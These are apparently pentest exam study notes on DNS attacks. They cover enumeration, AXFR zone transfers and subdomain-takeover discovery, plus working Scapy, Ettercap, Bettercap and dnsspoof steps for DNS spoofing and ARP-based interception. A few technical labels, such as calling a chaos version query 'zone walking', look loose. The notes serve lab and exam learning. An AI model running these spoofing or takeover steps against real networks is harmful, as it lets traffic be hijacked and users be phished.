DNS

I. DNS Basics

Function: Translates human-readable domain names (e.g., example.com) to IP addresses (e.g., 192.0.2.1) via a hierarchical, distributed database. Supports A/AAAA (IPv4/IPv6), CNAME (aliases), MX (mail), TXT (SPF/DKIM), NS (nameservers), and more. Ports:

UDP/53 (default for queries; connectionless, fast but unreliable for large responses).
TCP/53 (for zone transfers, EDNS0 large packets >512 bytes, or TCP fallbacks).

Importance: Enables nearly all internet traffic; misconfigurations expose internal networks, enable pivoting, or facilitate lateral movement.

Addition: Record Types Quick Reference Table

Record Type	Purpose	Pentest Relevance	Example Query (dig)
A/AAAA	IP resolution	Basic recon; identify hosts	dig example.com A
CNAME	Aliases	Subdomain takeovers	dig sub.example.com CNAME
MX	Mail servers	Phishing vectors	dig example.com MX
NS	Nameservers	Zone transfer targets	dig example.com NS
TXT	Arbitrary text (e.g., SPF)	Credential leaks, SSRF payloads	dig example.com TXT
SOA	Zone authority	Enumeration metadata	dig example.com SOA

Attack Vectors (Expanded):

DNS zone transfers (AXFR/IXFR).
Domain/subdomain takeovers.
DNS spoofing/cache poisoning (e.g., Kaminsky attack).
DNS amplification (DoS): Forge source IP to reflect large UDP responses.
DNS rebinding: Tricks browsers into resolving to the attacker's IP after the initial legit load.
DNS tunnelling: Encapsulate data (e.g., reverse shells) in DNS queries for C2 evasion.

Prerequisites for All Attacks: Passive recon first (e.g., WHOIS, Shodan for exposed NS records). Always use --no-check-certificate in tools if dealing with self-signed certs in labs.

II. Enumeration

Goal: Map the DNS infrastructure to identify entry points. Start passive (no noise), then active. Passive Techniques (New Addition):

Use Certificate Transparency (CT) logs: crt.sh/?q=%.example.com (browser or curl).
VirusTotal/PassiveTotal for historical subdomains.
Google dorks: site:*.example.com -www (via search engine).

Active Enumeration Tools:

Nmap (Enhanced): Scans for open resolvers and versions; integrates scripts for brute-forcing.

nmap -p53 -Pn -sV --script=dns-zone-transfer,dns-recursion -oA dns_enum <target_IP>

Explanation: -Pn skips host discovery; -sV versions services; --script runs NSE for transfers/recursion checks. Output: XML/JSON for parsing.
- Expected Output: Open ports, service banners (e.g., BIND 9.16 vulnerable to CVE-2020-8616).
- Troubleshooting: If no results, check the firewall with nmap -sS -p53 target.
Masscan (faster for large scopes):

masscan -p53 --rate=1000 <target_range> --banners | grep "53/open"

Chain with Nmap: masscan ... | nmap -iL - -sV --script=dns-*.
dnsrecon (all-in-one):

    dnsrecon -d example.com -t brt,std,axfr -D /usr/share/wordlists/dnsmap.txt

Types: brt (brute-force), std (standard records), axfr (transfers).

Best Practice: Rate-limit scans (--max-rate 10 in Nmap) to avoid detection. Log everything.

III. DNS Zone Transfers

Function: AXFR (full zone) or IXFR (incremental) copies entire zone files; legit for secondary NS sync but risky if public. Vulnerability: Misconfigured allow-transfer in named.conf (e.g., BIND) permits anon access. Detection:

From Nmap output (Section II).
dig NS example.com to list potential NS targets.

Tools (Enhanced with Alternatives):

dig (Core Tool):

dig AXFR example.com @ns1.example.com +short

Explanation: @ specifies server; +short for clean output. If successful: Lists all records.
- Error Handling: "Transfer failed" → Try TCP: dig @ns1.example.com example.com AXFR +tcp.
- IXFR Test: dig IXFR=20231101 @ns1.example.com example.com.
fierce (Domain-Focused):

{% code overflow="wrap" %}

fierce --domain example.com --subdomain-file /usr/share/wordlists/subdomains-top1million-5000.txt --file output.txt

{% endcode %}

Option: --subdomain-file for custom wordlists; brute-forces common subs during transfer attempts.
dnsenum (Brute + Transfer):

{% code overflow="wrap" %}

dnsenum --dnsserver ns1.example.com --enum -f /usr/share/wordlists/dnsmap.txt example.com

{% endcode %}

Chains transfer with permutation brute-forcing (e.g., admin.example.com).

Tool Comparison Table

Tool	Strengths	Weaknesses	Use Case
dig	Simple, protocol-level	Manual, no automation	Quick AXFR tests
fierce	Subdomain integration	Noisy, outdated dict	Initial domain mapping
dnsenum	Brute + permute + transfer	Slower on large domains	Comprehensive enum

Practice Tip: In lab, misconfigure BIND (allow-transfer { any; };) and transfer from Kali. Report as "High" risk with proof-of-concept screenshot.

IV. Domain/Subdomain Takeovers

Domain Takeover: The Attacker registers lapsed domains (check via WHOIS expiration dates). Subdomain Takeover: Orphaned CNAMEs pointing to defunct PaaS (e.g., Heroku, GitHub Pages).

Enumeration Tools (Expanded):

subfinder (Fast, Passive-Heavy):

subfinder -d example.com -all -o subs.txt -v -t 100

Options: -all uses all sources (CT, APIs); -t 100 concurrency; -v verbose for debugging.
Sublist3r:

python sublist3r.py -d example.com -o subs.txt -v -t 20 -e google,baidu,yahoo

Engines: Specify for diversity.
subbrute (Brute-Forcing):

{% code overflow="wrap" %}

# Setup (one-time):
git clone https://github.com/TheRook/subbrute.git
cd subbrute
echo "8.8.8.8" > resolvers.txt  # Add more resolvers for reliability
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt -O names.txt
    
    # Run:
./subbrute example.com -s names.txt -r resolvers.txt -t 50

{% endcode %}

New: -t 50 threads; chain output: cat subs.txt | sort -u | httpx -silent > live_subs.txt (filter live hosts).
Amass (OWASP, Intel-Gathering Focus):

amass enum -d example.com -o amass_subs.txt -config ~/.amass/config.ini

Config: Add API keys for passive sources (e.g., Shodan).
Gobuster (DNS Mode Brute):

{% code overflow="wrap" %}

gobuster dns -d example.com -w /usr/share/wordlists/subdomains-top1million-20000.txt -t 50 -o gobuster_dns.txt

{% endcode %}

Fast for wildcard detection.

CNAME Enumeration & Verification:

host/nslookup:

{% code overflow="wrap" %}

host -t CNAME sub.example.com  # Output: sub.example.com is an alias for deadservice.herokuapp.com.
    nslookup -q=CNAME sub.example.com

{% endcode %}

Verification (Enhanced):
- Manual: Curl the CNAME target for errors (e.g., AWS: curl https://bucket.s3.amazonaws.com → "NoSuchBucket").
- Tool: Clone can-i-take-over-xyz repo:

git clone https://github.com/EdOverflow/can-i-take-over-xyz.git
cd can-i-take-over-xyz
python detect.py --stdin < cnames.txt  # Input file of CNAMEs

Nuclei Templates (for automated vuln scanning):

nuclei -l subs.txt -t cves/ -tags takeover -o takeovers.json

Risks (Expanded): Beyond phishing/CSRF, add server-side request forgery (SSRF) via misconfigured origins and supply-chain attacks (e.g., hijack npm registry subdomain).

Practice Exercise: Use crt.sh on a test domain; simulate takeover by creating a free Heroku app and pointing a CNAME. Verify with curl.

V. DNS Spoofing/Cache Poisoning

Function: Forge responses to redirect traffic (e.g., bank.com → attacker.com). Methods (Expanded):

MITM-Based: ARP/DHCP spoof + DNS hijack.
Remote: Birthday attacks on transaction IDs (Kaminsky: Predictable source ports/IDs in older BIND).
Local Cache Poisoning: Target resolver caches via rogue DHCP.
Scapy for Custom Packets (Advanced):

{% code overflow="wrap" %}

scapy
>>> ip = IP(src="8.8.8.8", dst="target_ip") / UDP(sport=12345, dport=53) / DNS(rd=1, qd=DNSQR(qname="example.com"), an=DNSRR(rrname="example.com", rdata="192.168.1.100"))
>>> send(ip)

{% endcode %}

Explanation: Crafts spoofed response; use in MITM setup.

Tools:

Ettercap (GUI/CLI Enhanced):
1. Edit /etc/ettercap/etter.dns: example.com A 192.168.1.100.
2. Launch: ettercap -G (GUI) → Hosts → Scan for hosts → Select Target1 (victim) and Target2 (gateway).
3. Plugins → Manage Plugins → dns_spoof (activate).
4. Sniff → Unified sniffing (interface).
- CLI Alternative: ettercap -T -M arp:remote /gateway/ /victim/ -P dns_spoof /etc/ettercap/etter.dns.
- Troubleshooting: No spoof? Check iptables: iptables -t nat -A PREROUTING -i eth0 -p udp --dport 53 -j REDIRECT --to-port 53.
Bettercap (Modern Replacement):

bettercap -iface eth0
> set dns.spoof.domains example.com
> set dns.spoof.address 192.168.1.100
> net.probe on; net.recon on; arp.spoof on; dns.spoof on
> set arp.spoof.targets <victim_IP>
> arp.spoof on

Advantages: Modular, supports HTTPS stripping.
dnsspoof (from dsniff):

    dnsspoof -i eth0 host example.com and udp port 53

Requires hosts file entry: 192.168.1.100 example.com.

Best Practice: Verify with Wireshark (filter dns); test redirect by browsing spoofed domain on victim. Practice Exercise: In an isolated VM lab, spoof internal DNS to redirect to a phishing page. Capture evidence with tcpdump.

VI. Latest DNS Vulnerabilities

Core: Subdomain takeovers remain prevalent (CNAME to expired services like Azure/Shopify). New/Recent (Based on 2024-2025 Trends):

DNSSEC Bypass (e.g., CVE-2024-4076 in Unbound): Weak chain-of-trust; test with drill -D example.com (expects validation failure).
DoT/DoH Misconfigs: Exposed DNS over TLS/HTTP (port 853/443); scan: nmap -p853,443 --script ssl-cert target.
Amplification Vectors: Open resolvers for DDoS; test: dns-amp target -p53.
Zone Walking via Chaos Queries: dig @ns1.example.com example.com CH TXT version.bind (leaks server version).
Risks Update: Add RCE via DNS (e.g., Log4Shell in DNS logs) and AI-Driven Poisoning (emerging; simulate with custom scripts).

Detection Tool: dns-vuln-scan repo for automated checks. Practice Tip: Review CWEs (e.g., CWE-200: Exposure); exploit in DVWA lab.

Key Commands Summary (Consolidated Table)

Use this as a cheat sheet.

Category	Command/Example	Purpose/Notes
Basic Scan	nmap -p53 -Pn -sV --script=dns-*	Port/version/recursion
Zone Transfer	dig AXFR @ns1.example.com example.com +tcp	Full dump; fallback TCP
Subdomain Enum	subfinder -d example.com -all -o subs.txt	Passive + active
Brute-Force	gobuster dns -d example.com -w subdomains.txt	Wildcard detection
CNAME Check	host -t CNAME sub.example.com	Alias resolution
Takeover Scan	nuclei -l subs.txt -tags takeover	Automated vuln check
Spoofing	bettercap -iface eth0; dns.spoof on	MITM + redirect
Custom Packet	scapy; send(IP()/UDP()/DNS(an=DNSRR(rdata="fakeIP")))	Advanced forging

Final Prep Tips:

Integration: Chain with other pentest phases (e.g., feed subs to Nikto for web vulns).
Common Pitfalls: Rate-limiting, IPv6 oversights (-6 flag), legal scoping (ROE).
Exam Focus: Explain impacts (e.g., "Enables pivoting to internal nets"); practice verbal walkthroughs.
Resources: "The Hacker Playbook 3" (DNS chapter), TryHackMe "DNS in Detail" room.

FilesExpand file tree

dns.md

Latest commit

History

dns.md

File metadata and controls

DNS

I. DNS Basics

II. Enumeration

III. DNS Zone Transfers

Tool Comparison Table

IV. Domain/Subdomain Takeovers

V. DNS Spoofing/Cache Poisoning

VI. Latest DNS Vulnerabilities

Key Commands Summary (Consolidated Table)

Final Prep Tips: